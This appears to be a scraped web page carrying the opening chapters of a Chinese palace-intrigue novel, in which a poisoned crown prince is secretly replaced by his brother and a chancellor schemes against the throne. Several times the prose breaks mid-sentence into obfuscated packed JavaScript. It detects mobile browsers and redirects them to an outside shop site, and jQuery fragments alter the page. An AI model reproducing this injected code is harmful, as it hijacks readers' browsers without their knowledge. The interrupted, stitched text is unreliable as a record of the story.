《烟雨倾城》 1. 白衣翩跹去 大魏十八年。 郊外。 月色依稀,星辰寥寥,只有一人一马趁夜而行,安静中透出一丝诡谲。 蓦地,风鸣,几声冷箭从树林深处齐刷刷的袭来。 白衣男子纵马一跃,悬空而起,几个回身的功夫,尽数躲开。 他望向那片树林,这已经是今天遇到的第三波刺杀了,林中,似有马儿嘶鸣。 “太子!” 黑衣男子自林中飞出,险些滑落马背,剑上,猩红的血珠滚落。 白衣男子迎上前去,只见他浑身湿透,触手粘腻,分不清是汗是血。 “回宫,孤找太医给你疗伤。” 地面传来轻微的颤动,远处,一群黑衣人正向二人奔腾而来。 为首一人头戴面具,一字一字的吐出,“主公有令,成,赏,败,杀。” “太子快走!” “不行,你身上有伤,撑不了多久。” 黑衣男子不由分说,用剑狠狠刺了马儿一下。 马儿受惊,凌空一跃,顷刻载着白衣男子绝尘而去。 黑衣男子望着那抹转瞬即逝的白影,呢喃道,袁苍死不足惜,但愿你能活着回到宫中,魏皇后还在等着你,大魏还在等着你。 许是因为血迷了眼,他未曾留意,白衣男子的脚踝已被血浸透。 他大喝一声,举剑厮杀,凡近身一米之内者,尽数斩灭。 奈何重伤在身,寡不敌众,他气力不足,渐次败下阵来,几次将近倒地,又用剑强撑了起来。他知道自己今日必死无疑,却硬是要用生命,再护太子最后一程。 左边,一剑刺来。他侧身躲过,却又挨了右边的一剑。 哐当一声,手中片刻不离的剑落地,他亦随之沉向死亡。 刀光剑影之际,远处的空中竟有烟花绽放。 几名黑衣人相视一眼,收剑入鞘,转身策马而去。 他再无力气多想,沉沉昏睡了过去。 中宫,殿内沉香轻渺。 老者搭着榻上男子的脉,眉头不禁紧锁。 “周太医,烨儿这是怎么了?” “太子中了西域奇毒千魂散,这毒自脚踝蔓延开来,已至心肺,应是飞针所伤。” 魏皇后心中一紧,险些栽倒,一旁的侍女云英赶紧扶住了她。 千魂散,再熟悉不过的名字。她第一次知道这种毒,还是在父亲的葬礼上。 无药可解,无人可医,中毒者,只能等待毒液缓缓浸入身体的每一寸角落。十三年前,她就曾亲眼见过父亲痛不欲生,在血泊中垂死挣扎的情景。 她望着榻上之人,眼中尽是痛心。 那一袭白衣,渐次被身体渗出的鲜血染红,惊艳,又悲凉。 男子忍着痛,低低唤了一声母后。 魏皇后快步上前,紧紧握住他的手。那手的无名指上落着一粒胭脂痣,此刻甚是妖冶。 “烨儿放心,母后不会让你死的。” 男子皱皱眉,似是想说些什么,却是一口血喷了出来。他喘息半日,终于闭了眼,声音微若蜉蝣。 “母后,请赐儿臣一个痛快吧。” 魏皇后哪里舍得,死命攥住他的手,泣不成声。一颗颗晶莹的泪珠滚落,遗在男子手上,那颗红痣仿佛有了感应,渐次淡却,不似初时妖冶。 男子用最后的力气睁开眼,唇瓣一张一合,却是半点声息也无,他的嘴角划过一丝苦笑,他,终于解脱了。 魏皇后只觉得,那手的温度在一瞬间被尽数抽离,九天寒冰,不过如此。 一声哀嚎响彻大殿,在场之人齐齐跪下。 她不顾一切的扑在男子身上,试图抓住最后一丝温暖,却终归不过徒劳。 不知过了多久,她扶着榻檐缓缓起身,腿上一酸,又直直的跪了下去,如同那撑了许久的信念般骤然倒塌。 “娘娘伤心,却也要注意身子啊,大魏还要指望娘娘。” 云英的话,一下将她点醒。是啊,她还有大魏。 魏皇后揩了眼泪,眸中的悲伤渐次褪却,不过片刻功夫便已恢复如常。 “周太医,你知道该怎么做。” 她的声音冷冽,所有人都打了个寒颤。 老者点点头,从怀中取出一粒小小的药丸,咽了下去。顷刻,鲜血从他的口中溢出。 他突然有些后悔,今日不该踏进这中宫的大门。还有三天,便是他致仕归乡的日子。 魏皇后扶着云英的手,缓缓走到大殿之上。 “周太医因宫人侍候不周,不慎滚下台阶,失血过多而亡。周家几代为国尽忠,今日之事,本宫难辞其过。传令下去,中宫中人,全部赐死,以慰周太医之灵。” 是夜,腥红一片,这是中宫有史以来的第二次屠戮。 魏皇后在榻边守了一夜,她期盼着烨儿会突然睁开眼,像从前那般唤她一声母后。 门轻轻地开了,云英进来回话,“都已办妥。” “周家,可还有可用之人?” “周家还有一子,名赤,授大夫,入宫随驾多年,皇上多次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏皇后脸上闪过一丝狠戾,她的手猛然指向跪倒在地的云风。 “你若不愿,我便让她为烨儿陪葬!” 云风的脸上已满是泪痕,听得此话,身子骤地一颤,哭的更甚。 “母后何苦逼我。” “因为你,云风在八年前成了哑巴。你难道忍心,让她再次因为你,成为一缕孤魂吗?” 他颔首苦笑,“不忍心。” 魏皇后面上终于露出满意的神色,“那么,从今日起,你就是大魏的太子,魏晗烨。” 2. 琰琰滟春华 东宫。 魏晗烨一袭練色云锦长袍,腰束金带,足蹬赤舄。面若冠玉,唇涂薄脂,指尖一粒嫣红作衬,甚是美艳。偏他生得骨骼清晰,棱角分明,这冷峭便压了俊美三分。 东宫中人跪倒一片,齐声高呼,“恭迎太子殿下回宫。” 人群中露出一抹娇俏的倩影,“晗烨哥哥!” 他有些错愕,打量着这个身量尚小,眼眸澄澈,笑着向他扑来的女孩。 “漪儿,休得无礼。” 门口传来一声女子的轻斥,来人一袭浅粉色绯纹曳地牡丹裙,裙摆处缀着一圈月白南珠,远远望去,光耀夺目,煞是好看。手中一柄玉骨缂丝团扇,更是宫中少见的珍品。 魏晗烨眉间微蹙,眸子拢上一层寒意。他记起来了,来人正是艳冠六宫,独享圣宠十余载的席容贵妃——席容琰。 她十五岁那年进宫,正是亭亭玉立的年纪,和魏帝在御花园偶遇。魏帝对她一见倾心,直接封妃。大魏五年,她诞下公主,魏帝大喜,赐名風漪。那时宫中曾有传言,“風”与“凤”谐音,魏帝此举,怕是动了易后的念头。 同年,大魏宰相,也就是魏皇后的父亲,魏晗烨的祖父,因中了西域奇毒千魂散,惨死家中,凶手至今不明。一月之后,魏皇后的另一个儿子“魏晗煜”也因中了此毒而“死”。经此一事,魏皇后势力骤减。席容一家则因此得势,席容炎后来更是一举位列宰相,这些年搅得朝堂暗潮涌动,风波不断,而就在昨夜…… 魏晗烨思及此处,眸中的寒意又浓了几分。 “席容娘娘怕不是走错了路,这里是中宫,不是娘娘的仪鸾宫。” 席容贵妃轻轻摇了摇手中的玉骨缂丝团扇,盈盈笑道,“本宫是来探望殿下的。” “既然如此,我,孤一切安好,娘娘可以移驾回宫了。” 席容贵妃笑意不减,仔细打量着他那张冷峻而又美艳的脸庞,“殿下似乎清减了不少”。 “孤昨夜回宫,路遇歹人行凶,受了重伤,幸得袁苍拼死护卫,逃出命来。今日,自然憔悴许多。” 席容贵妃笑意更甚,“可本宫怎么听说,殿下中了西域奇毒千魂散呢?” “想是谣传罢,”魏晗烨话锋一转,“不然,除非娘娘就是那下毒之人,方才这般笃定。” “殿下真会说笑。” 席容贵妃以扇遮面,眼睛却是瞥向魏晗烨的无名指尖,向他缓缓靠近。直到那一粒嫣红撞入眼帘,她方才驻足,眸中添了一抹惑色。 魏晗烨笑笑,揶揄道,“娘娘离得如此之近,只怕会引起父皇的误会。” 席容贵妃闻言,果然向后退了几步,面上仍是淡淡一抹笑意。 “殿下既然无事,本宫也便放心了,回宫。” 魏晗烨抬手相送,却被魏風漪拉住了衣袖的一角。 “晗烨哥哥,你受伤了?伤在哪里,要不要紧?” 魏晗烨不着痕迹的收了衣袖,“有劳公主记挂,孤无事。” “几月不见,晗烨哥哥怎么和漪儿如此生分了?” 魏風漪眼中弥上了一层淡淡的雾气,正十分委屈的看着他。 魏晗烨不由得疑惑起来,他们之间应该亲近吗,难道之前…… “越发没规矩了,还不速速随本宫回去。”席容贵妃的呵斥声打断了他的遐想。 魏風漪就这样不情不愿的被席容贵妃拉走了,待走到中宫的大门时,她又忽然转过脸来,冲魏晗烨眨了三下眼睛。 魏晗烨没有心思再去琢磨这个小公主的事,转身进了大殿。 殿内,伽南香飘逸开来,往事如烟,一种熟悉而又陌生的感觉涌上心头。 他摩梭着正殿中央的金漆楠木椅,不觉呢喃道,“八年了。” “殿下,中宫云英求见。” “进来。” 云英捧着一摞书卷走了进来,“娘娘要殿下这几日将此物背熟。” 魏晗烨单手接过,原来是一本记有皇室宗亲、朝中重臣、地方要员的名册,便淡淡说道,“孤知道了。” 云英拍了拍手,一个十六七岁的少年刹时飞身进来,单膝跪地道,“袁青叩见殿下。” “袁苍身负重伤,无法立刻回来照料。娘娘吩咐,日后就由袁青护卫殿下周全。” 魏晗烨见他剑眉星目,气宇不凡,心下十分喜欢,上前扶他起来,“你以后就跟在孤的身边,不必多礼。” “谢殿下。” 天空中,一轮圆月高悬,照得东宫夜白如昼。 八年来,魏晗烨早已习惯了不见日月的暗室生活,点烛为昼,吹烛为夜。 他命云风熄掉了寝宫中的所有烛火,就连守在门口的侍卫手中也不许提灯笼,却还是被这月光搅扰,辗转反侧,漏夜难眠。 床上的丝衾和帘幔已经换过,但他因在暗室多年,五觉都甚是灵敏。只消轻轻一嗅,那一缕残存的极轻极浅的苏合香便会逸入体内,这是魏晗煜的味道。 魏晗烨记起了他的样子,那个活泼可爱,缠着自己玩闹的五岁孩童……那个性子沉静,眼中略带阴郁的十岁少年……那个白衣染血,只留一抹苦笑的“太子殿下”。 魏晗烨唇角轻颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502710|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,勾出一个凄美的弧度。 他知道,魏晗煜喜欢的不是伽南香而是苏合香,最爱的颜色不是白色而是黑色。 可是,魏晗煜却不得不在大殿焚伽南香,不得不于人前一袭白衣,他可曾有过后悔。 原本,死的不应该是他。 魏晗烨闻着这熟悉的味道,恍恍然睡了过去。 在梦中,魏晗烨想起了他们之间的点点滴滴…… 魏晗煜吃完了手中的桃酥,冲自己撒娇,要吃自己的那一份。 魏晗煜不小心摔碎了瓷娃娃,哭的伤心,魏晗烨就拿自己的瓷娃娃哄他。 魏晗煜的头被王贵人的儿子用石子打出了血,自己就把王贵人的儿子拖到河里险些溺死,那时自己还向魏晗煜许诺,定会护他一世。 魏晗烨的功课没有做完,被魏皇后罚跪一个时辰。魏晗煜偷偷跑去替他,结果被魏皇后发现,两人一起跪在外头。冬日的风,刺骨的冷,可他们挨在一处,心里却是暖融融的。 忽地,画风一转。 魏晗煜一袭黑衣,面色苍白,目光幽怨的看着他的眼睛,“为什么母后不喜欢我?” “煜弟!” 魏晗烨猛地从梦中苏醒,惊出一身汗来。 “煜弟。” 他兀自呢喃,仿佛说的慢一些,煜弟就会从梦中缓缓向他走来。 恍惚间,一阵女子的啜泣声传入耳中,这不是梦。 魏晗烨翻身下床,只见云风一个人缩在墙角,整个人颤个不停。 云风已被毒哑,此刻并无呜咽之音,只有因为抽泣而导致的不匀称的呼吸声。 魏晗烨叹口气,取了自己的斗篷给她披上。 “莫哭了,夜里凉,当心身子。” 云风抬头看他,眼中噙满泪水。 她张嘴,却发不出声音。 魏晗烨心中酸楚,便蹲下身去,要扶她起来。 云风呆呆看着他的眉眼,忽地扑在他的怀里, 他怔了一下,并没有躲,只是轻轻拍着她的背,手中温存,却无狎昵。 半晌,他方才薄唇微张,声音极轻,像是怕吓到她。 “你知道的,我不是他。” 魏晗烨只觉得怀中人瑟缩了一下,抱的更紧了些。 他便不再言语,任由她紧紧抱着。 月色入窗,二人的影子打在地上,交错相依,看起来格外旖旎。 可是这两个影子的主人之间,却是分分明明,并无情爱。他们便如同袍同泽的战友一般,在一个夜深人静的角落,共同悼念一个远逝的亡魂。 3. 席容有佳人 宰相府。 席容炎一身中衣,外披墨色玄袍,端坐榻上,冷冷看着跪在下面的黑衣男子。 “你不是说,魏晗烨已死吗?” “属下亲眼所见。” “那你告诉我,此时正在东宫榻上高枕而眠的人是谁?” “属下,不知。” “废物!” 席容炎怒不可遏,朝他狠狠啐了一口。 黑衣男子并未答言,只是静静跪着,等待席容炎最后的宣判。 半晌,席容炎悠悠开口,“寒星,你为我效力多年,该知我这里的规矩。” 寒星低着头,脊背却依然挺得笔直,他一字一顿道,“成,赏,败,杀。” “既如此,你自己做个了结吧。” “谢主公。” 寒星叩首,拔剑出鞘。 青霜剑的剑锋划开一抹月光,映着他的眼眸,分外寒凉。 席容炎突然向他摆了摆手,唇角渗出一丝笑意。 “你今日运气不错,先下去吧。” 寒星错愕,要知道,他用剑极快,再晚一秒,屋中必有一人留不得命在。 寒星没有多耽搁,叩谢完毕,立即推门退了出去。 风渡暗钟,水积凉蟾,琥珀色的金波漾在夜色里。 他看见月光下,亭亭立着一个十五六岁的女孩子。 他突然间明白过来,席容炎今日为何高拿轻放了。 这女孩子身上拢着一缕轻渺芸香,好似和月亮撞了个满怀。 她穿着一袭月白色素缎长裙,外罩着青色软罗纱衣,一条云衿萦在腰间,勾勒出她清丽窈窕的身姿。 寒星认识这个女孩子,那是十二年的事了。 那年,寒星刚进府中便立下大功,得了席容炎的青眼。寒星那时不过十一二岁的光景,却有着与年龄绝不相衬的狠戾。 他爱使剑,用刀,爱一切能伤人流血的玩意,他爱这种快感。只有人血才能暖他,只有杀人才能让他摆脱孤寂。 有一天晚上,月亮分外圆润。 寒星沐着柔光,在长街的屋檐上漫无目的地散步。 那日正好是八月十五,阖家团圆的日子。长街上人来人往,长幼相携,好不热闹。 寒星父母俱丧,瞧见这些,心中嫌恶,便撇过脸去,刚巧在角落里看到一处有趣的风景。 那是一个四五岁的小女孩,和他极像的一个小女孩,在这样一个热闹的夜晚,孤身一人,在一处不显眼的角落里啃着乞讨来的半片干馍。 约莫是馍太干的缘故,小女孩啃得很吃力,才吞了一口,就止不住的咳嗽起来。 寒星虽然同情,却并不打算帮她,只是静静地远远地看着。 众生皆苦,人各有命,谁又能救得了谁? 小女孩吃不惯手里干干巴巴的馍,但她不曾想到,这样的馍也是会有人来抢的。 一个跛脚乞丐经过,毫不犹豫的抢走了她的干馍。 这个乞丐肚子并不饿,但他不知道明天还会不会有东西吃,多存一点,总是没错。何况,难得遇到一个没法还手的小丫头片子。 小女孩失了馍,死死拉住乞丐的跛足不放。乞丐没想到小女孩会反抗,一时重心不稳,摔在地上,举起拳头就冲她抡了过去。 寒星不自觉的皱皱眉头,他想起了曾经的自己,犹豫着要不要上去帮她一把。 此时,一辆马车经过,车里的人听见喧嚷声,掀帘看了一眼,便命跟着的小厮将那乞丐给打跑了。侍女上前打起帘子,一个打扮华丽的女人走了下来。 女人手里拿了几块新样式的软糕,笑盈盈的递给那个小女孩,和她温声说话。 寒星远远望着这一幕,心中突然生出一股暖意,而这又与杀人时所感觉到的暖意不同。 他放下心来,便打算回去,却突然瞥见那个女人的脸。 她是红翠馆的杨妈妈,京城里有名的人物,寒星幼时在红翠馆的时候见过她,所以认得。 红翠馆,那可是大魏闻名遐迩的风月场。寒星心中暗叫不好,再看那小女孩,已经拉着杨妈妈的手高高兴兴往轿子里去了。 寒星不再犹豫,一个飞身,就拽着小女孩上了屋檐,再几个凌空大步,二人便消失在一片夜色中了。 寒星听得那女人在底下咒骂,“可恶,哪个兔崽子坏了老娘的好事!别让老娘逮着你!” 小女孩嘴里还嚼着半块软糕,她当时并不明白,那顶轿子对她而言意味着什么。 寒星带她回了席容府,或许是因为小女孩实在美丽,又或许是因为席容炎最近杀戮太多,想做些不打紧的善事。席容炎最后收她作了义女,赐姓席容,名烟。 只因那一日,街上的烟花甚是绚烂。 席容烟行了一礼,“寒将军。” 她的声音十分好听,如同碎玉一般,玲珑剔透,清朗润泽。 只可惜,她戴着帷帽,寒星看不清楚她的容貌。但他想,那一定是极美的。 寒星回了一礼,大步离开,再未回头。 席容烟行至门前,轻轻叩门,“父亲,您找我?” “进来。” 席容烟推开了门,屋内并无烛火,只余月光皎洁。 席容炎身穿中衣,立于榻前,他的脸上一半擎着月色,一半匿于黑暗,使人看不明其中神色。 席容烟迈了进去,却又犹豫起来,他们虽然名为父女,实无血缘,何况,此时已然三更,二人见面并不符合礼数。 “把门关上。” 席容炎的声音极冷,容不得人反驳。 席容烟吸了一口气,回身关门,屋中仅存的光亮瞬间又暗淡许多。 席容炎打量着她,缓步走了过来,最后在离她一寸远的地方站住。 席容烟隔着一层半透的纱,只觉得那气息灼热无比,不自觉往后退了一步。 席容炎轻蔑一笑,跟着上前一步,手挑薄纱,露出她隐在帷帽之下的脸来。 那是怎样的一张脸。 眉若玉钩,眸含秋水,铅华浅就,胭脂轻染,唇间一点嫣红,宛如出水芙蓉。 她的眸子恍若星汉一般深邃皎洁,一眼过后,再难忘怀。 她很美,却不是那种娇娇媚媚,柔柔弱弱的美。 她美得干净,纯粹,动人心魄。 如月,似雪。 “世人皆道,娘娘姿容,堪称绝色,依我之见,却不如你。” 席容炎的呼吸越发急促起来,他的手落在席容烟的脸颊上,甚是滚烫。 “娘娘是福泽深厚之人,烟儿不过草木之躯,幸得父亲收留,怎敢与之相较。” 席容烟在说“父亲”二字时,刻意放缓了语调。果然,席容炎看她半晌,恹恹收了手。 “这些年,我待你如何?” “父亲待烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她快步往烟雨阁走,路上撞见了一个提着灯笼巡夜的婆子,那婆子便停下来向她行礼,“烟姑娘。” 这正是席容烟在宰相府的尴尬处境,论起来,她是席容炎所认的义女,也便是席容家的三小姐,但宰相府上上下下皆知席容炎并未把她当女儿看待,而是另有打算,便不称“小姐”,只称她为“烟姑娘”。 席容烟微笑着点头致意,心中想的却是若是此番能离开宰相府,便离了这种尴尬的处境,也算是一个难得的机遇。 席容炎的席地斋离她的烟雨阁略有些远,中间还要途径一个小花园。 晚风习习,月色阑珊。 不知为何,席容烟总觉得有人在暗处看她,不觉又加快了脚步。就这么一路慌慌张张的走来,总算看到了烟雨阁。 侍女桃夭正在门口四处张望,见到席容烟的身影,赶紧提着灯笼迎了上去。 “姑娘可算是回来了,老爷这么晚唤姑娘过去,偏又不许人跟着,真真是急死我了。” 席容烟扶着桃夭的手,刚要进门,又回头张望起来。 “姑娘在看什么?” “无事,想是我眼花了。” 桃夭回头望望,见并无人影,便扶着席容烟进去,回身关了院门。 风起,地上的斑驳掠影不住摇曳起来。 寒星抱着剑,立在对面的树梢上,直到里面熄了烛火,方才飞身一跃,遁入黑暗中去了。 4. 玉指绽桃花 长乐宫。 “皇上宣殿下进来呢。” “有劳公公。” 魏晗烨走进长乐宫的大殿,恭敬下跪,“儿臣晗烨,拜见父皇。” 髹金雕龙木椅上传来一个略显沧桑的声音,“咳咳,烨儿,来,来父皇身边。” “父皇这是怎么了,可有传过太医?” “哎,人老了,就是这样,不碍事的。” 魏帝仔细打量了他一阵,“听说你在回来的路上,遇到了刺客伏击,可有受伤?” 魏晗烨压下心头的哀怮,“小伤而已,如今已经大好了,父皇莫要挂心。” 魏帝抚摸着他的脸,眼中似有泪花闪现,“孩子,苦了你了。” 魏晗烨望着这个比自己记忆中苍老了许多的男子,心中疑惑起来。 魏晗烨进来之前,曾想过许多他的所作所为。 他偏爱席容贵妃,致使母后郁郁寡欢。 他给席容贵妃所生的女儿赐名“風漪”,让席容一家有了不该有的念想。 席容炎大权在握,排挤了许多亲贵旧族,且手段狠辣,令朝野上下敢怒而不敢言。 自己的祖父,弟弟皆死于席容炎之手,可他却不管不顾,不闻不问,从未提过彻查之事。 他合该是个昏君,是个沉溺情爱,荒废朝政,不理发妻亲子死活的昏君。 自己合该是恨他怨他的。 可是现在,魏晗烨看着这个日渐苍老的男子,又恨不起来。 他真的老了许多,两鬓泛白,眼角眉梢刻满了岁月的痕迹。 而他的眼中,却是温存的,正如魏晗烨记忆中的一般无二。 魏晗烨嗓子有些沙哑,他把手覆在父亲的手上,不再说话。 这时候,一个娇媚的声音从门外传了进来,“陛下。” 席容贵妃一袭水红抹胸百褶裙,流苏委地,步摇轻摆,盈盈款款的向这边走来。 魏帝一扫疲态,笑着上前迎她,“这时候太阳最毒,你怎么跑出来了。” 席容贵妃依偎在他的怀里,语气带了一丝的嗔怪,“妾身在宫中等了好久,也不见陛下过来。陛下不来妾身的仪鸾宫,妾身就只好来陛下的长乐宫了。” 席容贵妃眸光一转,看见了魏晗烨,“殿下也在啊。” 魏晗烨便行礼道,“娘娘安好。” 席容贵妃也不回礼,只是笑吟吟的看向魏帝。 “烨儿,你先退下吧。” “是。” 魏晗烨恭恭敬敬退了出去,心中却是暗骂,“真真是个红颜祸水!” 魏帝拉着席容贵妃的手,在大殿的髹金雕龙木椅上坐了下来。 “其实,陛下不该让太子出去的。” “哦,这是为何?” “妾身有一个想头,正和太子有关,只是不知当讲不当讲。” 魏帝笑着刮了一下她的鼻子,“这有什么,讲!” “再过两年,太子就到了加冠之年,也是个要独当一面的大人了。古语云,欲治其国者,先齐其家,可是如今,太子身边连一个知冷知热的人都没有。” “此话不错,琰儿有何高见?” “妾身有一个妹妹,刚过及笄之年。妾身想,不如就许给太子,郎才女貌,最是相宜。” “这——”魏帝敛了几分笑意,迟疑道,“只怕,皇后不会愿意,烨儿怎么说也是她的骨肉,朕不好擅自做主的。” 席容贵妃见他不应,便拉着他的袖子撒起娇来,“陛下~陛下~” 魏帝无奈,“好吧,好吧,就依你。下月初二,是一年一度的赏花节,到时候,朕会在宫中设宴,请名门贵女过来相看。若是你那妹妹果真出众,朕自会为他们二人作主。” 席容贵妃满心欢喜,“多谢陛下。” 魏帝笑了笑,他将手轻轻覆在她的脸颊上,“琰儿想怎么谢朕呢?” 席容贵妃的桃靥晕开一抹嫣红,十分诱人,“陛下一会儿不就知道了。” 几个执事的内侍见状,立即很有眼色地退了出去,关了殿门。 中宫。 魏皇后穿着一袭明黄妆花金采缘襈裙,外披了一件大红寝衣,慵懒地卧在贵妃椅上小憩,一个侍女正跪在脚踏上给她轻轻捶腿。她虽在睡梦之中,睡得却不安稳,睫毛时不时的微颤。半晌,她睁开眼,见云英立在跟前,似有话说。 “什么事?” 云英屏退宫人,上前低声回禀,“席容贵妃想将她的妹妹许给太子殿下。” 魏皇后的眸光瞬间一凛,心中思量席容贵妃此举,无非为着两个缘由。 若是她妹妹果真绝色,定会勾了太子的魂魄,自此太子日夜缱绻于宫闱之内,再不理会朝堂诸事,自然便不是席容一家的威胁了。若是太子并不中计,她妹妹又可伺机暗害太子。如此一来,无论她的妹妹得宠与否,于东宫中宫都必然是心腹大患。 “皇上允了?” “皇上许诺,若是她妹妹资质出众,便会在赏花节上为二人作主。” “真是个狐媚子贱人!” “娘娘要不要去劝劝皇上。” 魏皇后怅然一叹,“皇上金口玉言,说出来的话必然就不会改了。” “那我们应该怎么办?” 魏皇后沉思半晌,“派人打听一下席容琰的妹妹,我倒想看看这是个怎样的货色。” “是。” 烟雨阁。 夕曛西斜,陇日昏昏,红紫霓霞深深浅浅的晕染开来,渐次堆叠在天空一角,飘飘然的拂落人间,余下一地斑驳碎影。 席容烟把杌子移到门边,玉指纤巧,慢捻针线,便将天边的最后一缕光亮织进了手中的几朵灼灼桃花。 桃夭凑上前去,“姑娘好灵的针线啊,这花绣的栩栩如生,竟像是要活过来了一般。” “这还不好,若是用银线抹平针脚,再取一二丝金缕细细挑出花蕊,那才叫一个好看呢。只可惜眼下寻不到金丝银缕,也就只得这般了。” “姑娘若是想用,便找老爷夫人去要些又何妨。金丝银缕虽然难得,咱们府上却也不缺这点银两,况且老爷对你一向疼爱有加,他一定会同意的。” “我不过是闲来无事,随便绣着玩罢了,哪里就这般认起真来。父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502712|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲虽然疼我,我也得守好自己的本分。这种话以后休要再提,若让旁人听去,就不好了。” 桃夭应了一声,又向院门外不停张望起来。 “奇怪,这个月的月例银子怎么还没送来,往日里这个时辰早该到了。” “宰相府家大业大,这点小事,一时忘了也是有的,一会儿派个小丫鬟去看看就是了。” 二人正说话间,忽听得外面有喧喧嚷嚷的声音传来,似是来了许多人。 桃夭欢欢喜喜地跑了出去,“定是送月例银子的来了,我去接。” 桃夭才跑到外面,看见来人,不觉愣住了,好半天才反应过来,连忙屈膝行礼,“夫人。” 席容烟在里面听见桃夭说话,也是一怔,下意识就想把那刚刚绣好的几朵桃花藏起来,却是已经迟了。待她再抬头看时,席容夫人已然进了院门。 席容夫人便是宫中席容贵妃的生母,席容炎的发妻,二人相识于微时,论起出身,她还要高出席容炎一头。后来席容炎升至宰相,虽纳了几房姬妾,她的位置却也不曾撼动分毫。 一来自然是因为她所出的席容琰在宫中荣宠万千,得意非常,二来也是因为席容炎敬她重她,与她有着同甘共苦的情谊。席容炎虽然子女颇丰,但是却多为席容夫人所出。其余姬妾不过有个庶女傍身,偶有诞下男婴的,也总会离奇夭折,甚至难产,累及生母的性命。可席容炎却从未深究,甚至后来主动让自己的姬妾喝下避子汤药,以让席容夫人安心。 如此想来,席容炎虽是个恶贯满盈的权臣,对自己夫人却也是一等一的好了,只是可惜了那些女子和无辜孩儿的性命。 席容烟这么想着,就见席容夫人已经走到了自己面前。 她身上一袭缃色捻金彩绣洒花洋绉裙,外面罩了件黛蓝斗云纹琵琶褂,头上九树花钿,白珠珰绕,梳的却是寻常发髻,真真是美则美矣,贵亦无比。 席容烟上前行礼,“母亲安好。” 席容夫人微笑着扶她起来,“不必拘礼。” 席容夫人面上温和,眸中的笑意却是深深浅浅,带着些晦暗不明的意味。 席容烟想不明白,她今日怎会来自己的烟雨阁,她一向都是不大喜欢自己的。 席容夫人果然一眼就注意到了绣绷上面灼灼而绽的桃花,拿在手里仔细打量了起来。 “这,莫非是大姑娘的手艺?” “是。” “只知道老爷给你请了西席先生,专门教导琴棋书画之事,却不想,大姑娘在刺绣女红上也有如此高的造诣。” 席容烟看着她略带探究的目光,心中不免有些慌张。这刺绣定然不是先生所授,若说是府里的嬷嬷教的,她又定会追问是哪位嬷嬷,况且阖府上下,料也找不出一位有着如此绣工的嬷嬷。 席容烟急中生智,编了个半真半假的缘由。 “近来天气闷热,我在烟雨阁里呆的实在无趣,便常跑到府里的藏书阁去玩。那地方又凉快又僻静,竟也寻到了不少好书,其中有一本就是讲女红的。我如今也不过是依着印象,胡乱照猫画虎而已,母亲别笑话我就好了。” 5. 任他悲与喜 席容夫人听她如此说,果然就信了七八分。席容烟喜欢读书,这一点阖府的人都知道。藏书阁的书种类齐全,数不胜数,有几本讲女红的也不奇怪。只是席容烟的悟性实在太好,不过凭着印象,便绣出了这样的活计。 席容夫人这样想着,不禁又端详起了那灼灼的桃花。 一阵微风拂过,几朵桃花竟也随之摇曳生姿,恍若暗香浮动,醉人心神。 席容夫人一面赞叹,一面品鉴道,“我曾经见过一件同你这件相似的绣品,那边上是用银丝顺了经纬,挑绣而成,更是精巧无比。” 桃夭嘴快,忙不迭的接过话来,“正是呢,我们姑娘方才也说——” “正是呢,我方才还和桃夭说,总觉得这一件绣的不大好,却也没找着缘由,还是母亲见多识广,一语破的。” 桃夭虽是个丫头,但在宰相府里混了多年,也多少有了些察言观色的本事。她见席容烟如此说,也便立即改了口风,跟着恭维起来,“是啊,夫人真是无所不知,无所不晓。” 席容夫人笑了起来,笑里带了几分难得的真情实意。任她夫君位至宰相,任她女儿宠冠后宫,任她自己名列一品夫人,她也不过是个女人,是女人,就免不了那点可悲可笑的攀比与虚荣。 席容夫人自然是不喜欢席容烟的,虽然知道席容炎拿她有别的打算,可她生得实在太美,又和自己没什么母女情份,再加上席容炎对她的态度一直含混不明,席容夫人从来都是提防着她的。 直到席容炎说要送她入东宫,杀太子,她方才渐渐定了心。 席容烟太美,留在府里自然是个祸害,可若是送到东宫祸害太子,便不怕她是个祸害了。她若是办不成,席容一族也没有什么损失,左右不过是一个外头捡的养女,生死皆由她去。她若是办成了,更是对席容一族有了莫大的助益,太子一死,后位必生变故。纵使皇上一时伤心,下令彻查,到时候便将所有的罪责全都推到她的身上。她一介孤女,百口莫辩,又与席容一族并无血缘关系,也只能做了这只替罪羊。 席容夫人这么一想,面上倒是和蔼了许多。 “只顾说话,都忘了正事了。” 席容夫人笑着扬扬手,门口的侍女们立刻走上前来,一字排开,手中捧着各色绫罗绸缎,簪钗流苏,金银玉石,凡此种种,不可细数。 “我是来给你送这个月的月例银子的,来之前顺便去了一趟库房,捡了几样新鲜东西,或是留着自己用,或是赏人,都是好的。” 